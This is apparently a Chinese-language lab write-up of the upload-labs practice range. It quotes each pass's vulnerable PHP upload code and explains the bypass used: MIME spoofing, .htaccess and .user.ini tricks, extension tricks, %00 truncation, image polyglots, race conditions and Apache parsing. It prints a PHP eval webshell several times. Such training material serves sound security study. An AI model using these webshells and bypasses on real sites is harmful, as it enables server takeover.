最新的源码有21关,但网上大多数教程都是20关的,原因是作者新增了一个第五关,之后的每关都往后推了一位
因为作者给出了源码,所以大部分关卡都是白盒测试
PS:原本需要在upload-labs-master
目录下创建一个upload
目录,但现在作者已经创建好了
PS:有时候会提示upload文件夹被删除,再建一个
下载完解压到phpstudy www目录下
浏览器输入localhost/upload-labs-master
尝试上传一个php文件,发现存在上传限制
<?php
@eval($_POST['a']);
phpinfo();
?>
查看源码,发现存在js限制
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
有几种方法:
jpg
文件,抓包,将webshell.jpg
后缀改为php
about:config
搜索javascript,javascript.enabled改为false上传php文件,提示文件类型不正确
查看源码,发现存在对['upload_file']['type']
的检测
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
抓包,将application/octet-stream
改为image/jpeg
或image/png
或image/gif
,三者均为图片类型,放包后可以进行上传
原理:
什么是MIME类型?
在把输出结果传送到浏览器上的时候,浏览器必须启动适当的应用程序来处理这个输出文档。这可以通过多种类型MIME(多功能网际邮件扩充协议)来完成。
在HTTP中,MIME类型被定义在Content-Type header中。Content-Type(内容类型)一般是指网页中存在的Content-Type,用于定义网络文件的类型和网页的编码,决定浏览器将以什么形式、什么编码读取这个文件,这就是经常看到一些 PHP网页点击的结果却是下载一个文件或一张图片的原因。Content-Type 标头告诉客户端实际返回的内容的内容类型。
常见的媒体格式类型如下:
text/html : HTML格式
text/plain :纯文本格式
text/xml : XML格式
image/gif :gif图片格式
image/jpeg :jpg图片格式
image/png:png图片格式
以application开头的媒体格式类型:
application/xhtml+xml :XHTML格式
application/xml: XML数据格式
application/atom+xml :Atom XML聚合格式
application/json: JSON数据格式
application/pdf:pdf格式
application/msword : Word文档格式
application/octet-stream : 二进制流数据(如常见的文件下载)
application/x-www-form-urlencoded : 中默认的encType,form表单数据被编码为key/value格式发送到服务器(表单默认的提交数据的格式)
另外一种常见的媒体格式是上传文件之时使用的:
multipart/form-data : 需要在表单中进行文件上传时,就需要使用该格式
上传php文件,提示不允许上传.asp,.aspx,.php,.jsp
后缀文件!
但是可以上传.phtml .phps .php5 .pht
后缀文件
前提是apache的httpd.conf
中有如下配置代码
如果没有就去配置一下
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
黑名单拒绝了几乎所有后缀名
上传一个.htaccess
文件,内容为:
AddType application/x-httpd-php .jpg
然后上传一个.jpg
文件,内容为一句话木马
<?php
@eval($_POST['a']);
echo phpinfo();
?>
原理:
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。
AddType application/x-httpd-php .xxx
该语句将.htaccess文件所在目录及其子目录中的后缀为.xxx的文件被Apache当做php文件解析,还有一种写法是SetHandler application/x-httpd-php
,该语句会把所有文件当作php文件解析
PS:使用SetHandler application/x-httpd-php
时,需要抓包,将.htaccess的文件名删除,然后放包即可上传成功
查看提示,上传目录存在php文件
所以本关可以使用 .user.ini
绕过黑名单:
使用条件:
(1)服务器脚本语言为PHP 服务器使用CGI/FastCGI模式,这就要求我们phpstudy下载nts版本的
(2)上传目录下要有可执行的php文件
原理:php中有一个默认配置文件
php.ini
,其中包括了很多php的配置,而自 PHP 5.3.0起,PHP 支持基于每个目录的 INI 文件配置。
在它支持自定义的配置模式中,auto_append_file
和auto_prepend_file
,这两个选项起到了文件包含的作用,类似于调用了一个require
函数。auto_prepend_file
指定在主文件前自动解析文件的名称;auto_append_file
指定在主文件后自动解析文件的名称,如果主文件以exit()
结尾的话,则不会进行自动追加。
因此我们可以通过上传.user.ini
配置文件,使其上传文件夹中的php文件能够自动包含某个文件。
我们先上传一个
.user.ini
文件,内容为auto_prepend_file=webshell.jpg
表示该目录及其子目录下所有的php文件在执行时,自动在头部包含一个webshell.jpg
文件。
然后上传一个包含一句话木马的webshell.jpg
文件即可
关于.user.ini
绕过黑名单可以看看这个
本关还有一个方法:
我们先看一下源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
查看源码,发现可以通过大小写绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
查看源码,发现可以通过末尾加空格绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
查看源码,发现可以通过点绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
查看源码,发现下面这句话无了
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
本关没有对后缀名中的::$DATA
进行过滤。在php+windows的情况下:如果文件名+::$DATA
会把::$DATA
之后的数据当成文件流处理,不会检测后缀名且保持::$DATA
之前的文件名。利用windows特性,可在后缀名中加::$DATA
绕过
但是发现无法访问
去掉::$DATA
,OK
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
查看源码,发现str_replace()
函数把文件后缀名替换为空,这不由得让我想起xss里的类似情况,可以采取双写绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
查看源码,$_GET['sava_path']
和随机时间函数
拼接成文件存储路径。这里构造文件存储路径利用了GET
传入,导致服务器最终存储的文件名可控。
在url中%00
表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00
时就会认为读取已结束
如在1.php
文件名改为1.php%00.jpg
会被解析为1.php
,这样就能绕过后缀限制,上传shell
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
strrpos()
函数查找字符串在另一字符串中最后一次出现的位置
move_uploaded_file()
函数将上传的文件移动到新位置
不过需要满足两个条件:
1、php版本小于5.3.29(直接用5.2.17就行)
2、php.ini的magic_quotes_gpc为OFF状态
PS:网上大部分教程都说小于5.3.4就可以,亲测5.3.29不行,即使magic_quotes_gpc为OFF状态
首先上传一个一句话木马的jpg文件,抓包
在..upload/
后面+自己想修改的文件名+.php%00
本关的条件与之前相同,php版本直接用5.2.17,php.ini的magic_quotes_gpc
为OFF状态
查看源码,发现与12关的区别是save_path
的传入方式是POST
,因为POST
不像GET
能URL解码%00
,所以我们需要在十六进制中修改
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
我们在/upload/1.php
后加一个.
这里的 . 纯粹只是一个标记符号,便于我们找到位置
在hex中将他改为00
放包,发现页面未找到
删掉url中php后面的内容,成功
发现任务变了,要我们上传图片马,并且自带一个文件包含漏洞
尝试直接上传抓包改后缀,失败
提示我们检查图标内容开头2个字节
GIF:
直接构造gif文件头,就可以上传成功
GIF89a
<?php
@eval($_POST['a']);
echo phpinfo();
?>
生成图片马:
copy 1.jpg/b + webshell.php/a webshell.jpg
copy 1.png/b + webshell.php/a webshell.png
其中/b
表示以二进制方式处理,/a
表示以ascii码方式处理
可以看到图片末尾加入了php代码
上传成功,利用文件包含漏洞,成功
PS:有些图片,里面存在特殊字符,使用文件包含的时候可能会出错,遇到报错的话,多找几张图片来试一试
蚁剑连接,成功
getimagesize()
函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP
图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE
并产生一条E_WARNING
级的错误信息。
总之就是绕过方法和上面一样
exif_imagetype()
读取一个图像的第一个字节并检查其签名。如果发现了恰当的签名则返回一个对应的常量,否则返回 FALSE。exif_imagetype()
比getimagesize()
返回快得多。
需要开启php_exif模块:
1.在php.ini文件中找到;extension=php_exif.dll,去掉前面的分号
2.在php.ini文件中找到;extension=php_mbstring.dll,去掉前面的分号,并将此行移动到extension=php_exif.dll之前,使之首先加载*。
3.找到[exif]段,把下面语句的分号去掉。;exif.encode_unicode = ISO-8859-15 ;exif.decode_unicode_motorola = UCS-2BE ;exif.decode_unicode_intel = UCS-2LE ;exif.encode_jis = ;exif.decode_jis_motorola = JIS ;exif.decode_jis_intel = JIS
4.重启php
之后绕过方法和上面一样
GIF:
经过测试,发现gif可以上传,但是不能进行文件包含,因为图片被二次渲染
关于绕过gif的二次渲染,我们只需要找到渲染前后没有变化的位置,然后将php代码写进去,就可以成功上传带有php代码的图片了。
利用burp的比较模块,可以对比上传前和上传后哪些部分是没变的。
然后我们在未变化的区域把写入
删掉GIF89a
前面的内容,保存
PS:有十六进制编辑器的话更方便,推荐WinHex
即可执行文件包含
PNG&JPG:具体看这篇
本关是代码审计,所以我们先来看代码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
move_uploaded_file()
函数将上传文件临时保存,再进行判断,如果不在白名单里则unlink()
删除,在的话就rename()
重命名,所以这里存在条件竞争。
由此也就产生了漏洞,会有一个短暂的时间将我们上传的webshell存储在目录下,但是这个时间相当相当短暂,以至于,你打开上传目录,点击上传文件,你连影子都看不到就已经没了,所以这个时候我们先抓包,然后发送到intruder
模块。
点击clear
去除所有参数,然后payload
选择无,可以设置次数,根据电脑性能决定
线程改为20,然后start attack
之后就是不断刷新http://127.0.0.1/upload-labs/upload/webshell.php,总会出现phpinfo
为了截图,F5都要按坏了…
源码太长就不贴了,本关是利用Apache的解析漏洞,不管最后后缀为什么,只要是.php.*结尾,就会被Apache服务器解析成php文件
提交类似webshell.php.7z
的文件,配合条件竞争上传,同18
Apache解析漏洞看这个
本关的源码有些问题
Pass-19的·myupload·文件中
103行 作者在$dir
后面漏掉了'/'
如果不加
上传的webshell打开为…/uploadxxx.php
强迫症可以自己加上
多了一个保存名称
上传.php
文件,保存为.jpg
文件,成功
上传.jpg
文件,保存为.php
文件,失败
上传.php
文件,随便输入一个后缀名,或者是不写后缀名,保存成功
说明是黑名单验证
查看源码,是POST型
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
pathinfo()
返回一个关联数组包含有 path 的信息
代码审计,POST型传数据,此关依旧可以00截断绕过,hex将1前的.
(hex值为2e)改为00
参考Pass-13
记得去掉url中php后面的内容
还有几个方法
move_uploaded_file()
函数会忽略掉文件末尾的/.
所以上传文件名为webshell.php/.
即可绕过
Apache文件解析漏洞同样可以利用,参考Pass-19
我们还是先查看源码
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
首先,判断文件的Content-Type
类型是否在白名单中,如果不在禁止上传,如果在的话,继续往下执行。
如果POST
接收的save_name
为空,则赋值为$_FILES['upload_file']['name']
,不为空就为本身
explode()
函数把字符串打散为数组
end()
函数将 array
的内部指针移动到最后一个单元并返回其值
reset()
函数将 array
的内部指针倒回到第一个单元并返回第一个数组单元的值
count()
函数计算数组中的单元数目或对象中的属性个数,这里要注意,数组下标从0开始
继续执行,如果$file
不是数组则打乱成数组,如果是就往下执行
利用end函数将$file
数组的最后一个单位赋值给$ext
之后判断$ext
是否在白名单内。在的话继续往下执行
将file数组
的第一个元素用点拼接最后一个元素,赋值给$file_name
,之后上传
upload-labs部分关卡对php版本要求严格,推荐直接使用5.2.17nts
Pass-05.user.ini反复更换php版本也无法成功
Pass-17jpg和png的二次渲染不是很清楚
Pass-18 Pass-19Apache文件解析漏洞没有实现
代码审计能力太弱
2020.3.22